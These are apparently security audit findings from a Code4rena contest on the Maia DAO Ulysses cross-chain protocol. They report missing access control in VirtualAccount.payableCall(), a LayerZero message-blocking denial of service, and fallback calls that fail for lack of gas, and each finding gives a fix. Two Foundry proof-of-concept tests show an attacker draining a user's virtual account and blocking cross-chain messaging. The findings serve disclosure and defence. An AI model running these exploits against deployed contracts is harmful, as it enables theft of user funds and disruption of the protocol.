Maia DAO - Ulysses - peakbolt's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

VirtualAccount allows user to manage assets and perform cross-chain transactions with dApps using call() and payableCall() while maintaining user balance in the virtual account for accounting purposes. Access control is required via requiresApprovedCaller modifier to ensure only the account holder (or approved router on behalf of user) can control the VirtualAccount.

However, VirtualAccount.payableCall() is lacking the requiresApprovedCaller modifier for access control, allowing public access to all the VirtualAccount.

    //@audit missing requiresApprovedCaller modifier
    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

Impact

Lack of access control will allow anyone to drain all the VirtualAccount balances.

Proof of Concept

First add the following import first to RootTest.t.sol.

import {VirtualAccount} from "@omni/VirtualAccount.sol";
import {PayableCall} from "@omni/interfaces/IVirtualAccount.sol";

Then add the following test cases to RootTest.t.sol. It ahows that the attacker is able to transfer out tokens using payableCall(), which does not have access control.

    function testPeakboltVirtualAccountPayableCall() public {

        address _user = address(this);
        uint256 _amount = 10 ether;
        uint256 _deposit = 5 ether;
        uint256 _amountOut = 3 ether;
        uint256 _depositOut = 3 ether;

        // Set up
        testAddLocalTokenArbitrum();

        // Prepare data
        bytes memory packedData;

        {
            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            // Mock Omnichain dApp call
            calls[0] = Multicall2.Call({
                target: newArbitrumAssetGlobalAddress,
                callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 0 ether)
            });

            // Output Params
            OutputParams memory outputParams =
                OutputParams(_user, newArbitrumAssetGlobalAddress, _amountOut, _depositOut);

            // RLP Encode Calldata
            bytes memory data = abi.encode(calls, outputParams, rootChainId);

            // Pack FuncId
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        // Get some gas.
        hevm.deal(_user, 1 ether);

        if (_amount - _deposit > 0) {
            // Assure there is enough balance for mock action
            hevm.startPrank(address(rootPort));
            ERC20hTokenRoot(newArbitrumAssetGlobalAddress).mint(_user, _amount - _deposit, rootChainId);
            hevm.stopPrank();
            arbitrumMockToken.mint(address(arbitrumPort), _amount - _deposit);
        }

        // Mint Underlying Token.
        if (_deposit > 0) arbitrumMockToken.mint(_user, _deposit);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumMockToken),
            amount: _amount,
            deposit: _deposit
        });

        console2.log("BALANCE BEFORE:");
        console2.log("arbitrumMockToken Balance:", MockERC20(arbitrumMockToken).balanceOf(_user));
        console2.log(
            "newArbitrumAssetGlobalAddress Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user)
        );

        // Call Deposit function
        hevm.startPrank(_user);
        arbitrumMockToken.approve(address(arbitrumPort), _deposit);
        ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve(address(rootPort), _amount - _deposit);
        arbitrumMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}(
            payable(_user), packedData, depositInput, GasParams(0.5 ether, 0.5 ether), true
        );
        hevm.stopPrank();

        // Test If Deposit was successful
        testCreateDepositSingle(
            arbitrumMulticallBridgeAgent,
            uint32(1),
            _user,
            address(newArbitrumAssetGlobalAddress),
            address(arbitrumMockToken),
            _amount,
            _deposit,
            GasParams(0.05 ether, 0.05 ether)
        );

        //console2.log("DATA");
        //console2.log(_amount);
        //console2.log(_deposit);
        //console2.log(_amountOut);
        //console2.log(_depositOut);

        address userAccount = address(RootPort(rootPort).getUserAccount(_user));

        //console2.log("LocalPort Balance:", MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort)));
        //console2.log("Expected:", _amount - _deposit + _deposit - _depositOut);
        require(
            MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort)) == _amount - _deposit + _deposit - _depositOut,
            "LocalPort tokens"
        );

        //console2.log("RootPort Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(rootPort)));
        // console2.log("Expected:", 0); SINCE ORIGIN == DESTINATION == ARBITRUM
        require(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(rootPort)) == 0, "RootPort tokens");

        //console2.log("User Balance:", MockERC20(arbitrumMockToken).balanceOf(_user));
        //console2.log("Expected:", _depositOut);
        require(MockERC20(arbitrumMockToken).balanceOf(_user) == _depositOut, "User tokens");

        //console2.log("User Global Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user));
        //console2.log("Expected:", _amountOut - _depositOut);
        require(
            MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == _amountOut - _depositOut, "User Global tokens"
        );

        //console2.log("User Account Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(userAccount));
        //console2.log("Expected:", _amount - _amountOut);
        require(
            MockERC20(newArbitrumAssetGlobalAddress).balanceOf(userAccount) == _amount - _amountOut,
            "User Account tokens"
        );


        //--------------- attacker access VirtualAccount and transfer out tokens using payableCall() --------------
        address _attacker = address(1);

        console2.log("Attacker Account Balance (BEFORE):", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_attacker));  


        hevm.startPrank(_attacker);
        VirtualAccount account = VirtualAccount(payable(userAccount));

        PayableCall[] memory payableCalls = new PayableCall[](1);

        payableCalls[0] = PayableCall({
            target: newArbitrumAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), _attacker, 1 ether),
            value: 0
        });

        account.payableCall(payableCalls);

        console2.log("Attacker Account Balance (AFTER):", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_attacker));  

        hevm.stopPrank();
    }

Recommended Mitigation Steps

Add requiresApprovedCaller modifier to VirtualAccount.payableCall().

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938-L948

Vulnerability details

ArbitrumBranchBridgeAgent is able to perform signed callout such as callOutSignedAndBridge() with _hasFallbackToggled = true. That means there is a possibility that RootBridgeAgent._performFallbackCall() will be triggered to perform a fallback and allow user to redeem their deposit.

However, RootBridgeAgent._performFallbackCall() does not handle the case for ArbitrumBranch (which is on the same root chain) and performs a actual cross chain message using ILayerZeroEndpoint(lzEndpointAddress).send() as shown below. It should instead check _dstChainId != localChainId before that, and then perform a revert when _dstChainId == localChainId.

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L938-L948

    function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal {
        //Sends message to LayerZero messaging layer
        ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}(
            _dstChainId,
            getBranchBridgeAgentPath[_dstChainId],
            abi.encodePacked(bytes1(0x04), _depositNonce),
            payable(_refundee),
            address(0),
            ""
        );
    }

Impact

User will waste native token performing a cross chain message call, which could be saved when the transaction can be reverted.

Recommended Mitigation Steps

Add (_dstChainId != localChainId) check and perform a revert on the else case as shown below.

    function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal {
        // Check if call to remote chain
        if (_dstChainId != localChainId) {
            //Sends message to LayerZero messaging layer
            ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}(
                _dstChainId,
                getBranchBridgeAgentPath[_dstChainId],
                abi.encodePacked(bytes1(0x04), _depositNonce),
                payable(_refundee),
                address(0),
                ""
            );
        } else {
              revert ExecutionFailure();
        }
        

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L32 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L45

Vulnerability details

Both RootBridgeAgent and BranchBridgeAgent interacts with the ILayerZeroEndpoint using the send() and lzReceive() to send and receive cross chain messages via LayerZero. LayerZero endpoint uses a blocking pattern to ensure ordered delivery of message. That means the endpoint will store messages with unhandled error/exception and block the message queue until the stored message has been retried successfully.

There could be unexpected scenarios where there is a logical error with the failed message, which will always fail and cannot be retried successfully. Due to that it is important to have a mechanism to force eject such messages to unblock the message queue using ILayerZeroApplicationConfig.forceResumeReceive() (see https://layerzero.gitbook.io/docs/evm-guides/best-practice).

So the issue is that RootBridgeAgent and BranchBridgeAgent do not implement the forceResumeReceive() interface. That means there is no mean to unblock the message queue when it is blocked by a failed message that fails permanently.

Impact

Without forceResumeReceive(), there is no mean to resume the cross chain messaging between the bridge agents, causing the Ulysses protocol to be permanently frozen.

Recommended Mitigation Steps

Implement forceResumeReceive() for both RootBridgeAgent and BranchBridgeAgent according to https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/lzApp/LzApp.sol#L96-L98.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L776 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L829 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L921

Vulnerability details

BranchBridgeAgent and RootBridgeAgent allow users to provide _gParams.gasLimit to impose a gas limit for the lzReceive() on the destination chain.

However, an attacker can abuse this by setting a low gas limit that will cause lzReceive() to revert due to OOG. As LayerZero uses a blocking pattern, that will cause the messaging layer to be blocked until the failed message is retried successfully to clear the queue.

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L765-L778

    function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams)
        internal
        virtual
    {
        //Sends message to LayerZero messaging layer
        ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            //@audit gasLimit can be too low and cause lzReceive to revert due to OOG
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
        );
    }

When a cross chain message is received, LayerZero Endpoint is the caller to RootBridgeAgent.lzReceive(). So when lzReceive() reverts due to OOG, it will store the failed message in storedPayload[] for subsequent retry. As long as there is a failed message in storedPayload[], it will block the messaging layer until it is cleared.

https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L114-L124

        //@audit this will block the messaging layer until failed message is cleared
        // block if any message blocking
        StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress];
        require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking");

        //@audit when lzReceive() revert, the try/catch will store the failed message for subsequent retry.
        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload));
            emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }

Impact

The messaging layer can be blocked by an attacker using a callout with low gas limit. Even though the messaging layer can be unblocked with a successful retry, the attacker can still backrun that and block the messaging again, causing it to be a permanent DoS.

Proof of Concept

Add the following test to RootForkTest.t.sol and run it with -vvvv to see the revert errors as follows. forge test -vvvv --match-test "testPeakboltAddLocalToken()"

    function testPeakboltDoSWithOutOfGas() public {

        switchToLzChain(avaxChainId);
        vm.deal(address(this), 10 ether);

        // This call will revert at RootBridgeAgent::lzReceive() due to low gas limit
        // It will cause LayerZero Endpoint to store the message for retry and block the messaging layer
        avaxCoreRouter.addLocalToken{value: 10 ether}(address(avaxMockAssetToken), GasParams(10, 0));
        switchToLzChain(rootChainId);

        // switch back to AVAX
        switchToLzChain(avaxChainId);
        vm.deal(address(this), 10 ether);

        // this will fail as messaging layer is blocked until the failed message is retried successfully.
        // even after the messaging layer is unblocked, attacker can still repeat the above attack again.
        avaxCoreRouter.addLocalToken{value: 10 ether}(address(avaxMockAssetToken), GasParams(2_000_000, 0));
        switchToLzChain(rootChainId);

    }

Recommended Mitigation Steps

Impose a minimum value for _gParams.gasLimit that is sufficient to reach and execute lzReceiveNonBlocking() within lzReceive(). That will cause the OOG revert to be contained within lzReceive().

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L778-L793

Vulnerability details

Ulysses allows users to bridge deposit and remotely interact with dApps on the root chain by performing a callOutSignedAndBridge() from branch routers. The user can set _hasFallbackToggled = true, which will perform a fallback call to the source chain when the remote dApps transactions fails (see code below). The fallback call will make the deposit available for redemption on the source chain.

However, it is possible for the dApp remote transactions to consumes all the forwarded gas and revert with an out-of-gas error. When that happens, there will be insufficient gas remaining to trigger the fallback call, causing it to fail as well.

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L778-L793

    function _execute(
        bool _hasFallbackToggled,
        uint32 _depositNonce,
        address _refundee,
        bytes memory _calldata,
        uint16 _srcChainId
    ) private {
        //Update tx state as executed
        executionState[_srcChainId][_depositNonce] = STATUS_DONE;

        //@audit this is used to call MulticallRootRouter -> VirtualAccount to interact with dApp on root chain
        //Try to execute the remote request
        (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);

        //@audit if the dApp consumes all forwarded gas in the above call(), it will cause the following fallback to fail due to OOG.
        //Update tx state if execution failed
        if (!success) {
            //Read the fallback flag.
            if (_hasFallbackToggled) {
                // Update tx state as retrieve only
                executionState[_srcChainId][_depositNonce] = STATUS_RETRIEVE;
                // Perform the fallback call
                _performFallbackCall(payable(_refundee), _depositNonce, _srcChainId);
            } else {
                // No fallback is requested revert allowing for retry.
                revert ExecutionFailure();
            }
        }
    }

Detailed Explanation

First, lets calculate the remaining gas when the issue occurs:

• if we look at the execution path for branchBridgeAgent.callOutSignedAndBridge(), it will be as follows: Endpoint --> RootBridgeAgent.lzReceive() --> RootBridgeAgent.lzReceiveNonBlocking() --> bridgeAgentExecutorAddress.call() --> RootBridgeAgentExecutor.executeSignedWithDeposit() -->MulticallRootRouter.executeSignedDepositSingle() --> VirtualAccount.call()

• When receiving a cross chain message, LayerZero Endpoint will trigger the 1st external call RootBridgeAgent.lzReceive() with a _gasLimit as shown in Endpoint.sol#L118.

• So at the 1st external call RootBridgeAgent.lzReceive() in RootBridgeAgent.sol#L423, it will be forwarded with a gas value of 63/64 * _gasLimit.

• Following that, the 2nd external call lzReceiveNonBlocking() in RootBridgeAgent.sol#L434, will be forwarded 63/64 * 63/64 *_gasLimit.

• At the 3rd external call bridgeAgentExecutorAddress.call() --> RootBridgeAgentExecutor.executeSignedWithDeposit() in RootBridgeAgent.sol#L779, it will be forwarded a gas of 63/64 * 63/64 * 63/64 *_gasLimit.

• Now if dApp interaction at the subsequent call VirtualAccount.call() uses up all the gas, it will revert at the 3rd external call, triggering the fallback. When that happens, it will have 1/64 * 63/64 * 63/64 *_gasLimit for _performFallbackCall().

• Assuming a generous _gasLimit of 2M (a uniswapV3 swap is ~200k), the remaining gas for _performFallbackCall() = 1/64 * 63/64 * 63/64 * 2M = 30,281.

Now, I have measured the gas required for _performFallbackCall() by adding two lines (see below) and running testRetrySettlementTriggerFallback() in RootForkTest.t.sol. It is estimated to require around ~124,036 gas, which is much higher than what is left when the issue occurs.

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L730-L753

    function _execute(bool _hasFallbackToggled, uint32 _settlementNonce, address _refundee, bytes memory _calldata)
        private
    {
        //Update tx state as executed
        executionState[_settlementNonce] = STATUS_DONE;

        //Try to execute the remote request
        (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);

        //@audit add this 1st line to compute gas required for _performFallbackCall()
        uint256 gasRemaining = gasleft();
        
        //Update tx state if execution failed
        if (!success) {
            //Read the fallback flag and perform the fallback call if necessary. If not, allow for retrying deposit.
            if (_hasFallbackToggled) {
                // Update tx state as retrieve only
                executionState[_settlementNonce] = STATUS_RETRIEVE;

                // Perform fallback call
                _performFallbackCall(payable(_refundee), _settlementNonce);
            } else {
                // If no fallback is requested revert allowing for settlement retry.
                revert ExecutionFailure();
            }
        }

        //@audit add this 2nd line to compute gas required for _performFallbackCall()
        console.log("gas required for fallback = %d", gasRemaining - gasleft());

Impact

The issue will allow the interacted dApp to consume all gas and cause the fallback to fail. This leads to loss of gas/native tokens for the users, as the user need to perform a retrieve call to redeem the deposit.

Proof of Concept

First add the following for loop to simulate a dApp using up all the forwarded gas and cause the bridgeAgentExecutorAddress.call() to fail and trigger the fallback. Then run testRetrySettlementTriggerFallback() in RootForkTest.t.sol, which will show that the fallback will also fail due to out-of-gas error.

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgentExecutor.sol#L71

    function executeWithSettlement(address _recipient, address _router, bytes calldata _payload)
        external
        payable
        onlyOwner
    {

        //@audit insert the following lines to consume all forwarded gas
        for(uint256 i=0; i<10000; i++) {
            assembly {
                let temp := mload(9999999999999999)
            }            
        }

Note, even though we use BranchBridgeAgentExecutor and BranchBridgeAgent due to how the current test case is constructed, the same issue applies to RootBridgeAgent and RootBridgeAgentExecutor as they are similiar in code.

Recommended Mitigation Steps

Set a gas limit for the bridgeAgentExecutorAddress.call() at RootBridgeAgent.sol#L779 to save some gas for fallback call as shown in the example below.

        //@audit set a gas limit for the forwarded gas, to save some for fallback call 
        (bool success,) = bridgeAgentExecutorAddress.call{gas: gasleft()-200000, value: address(this).balance}(_calldata);

Assessed type

DoS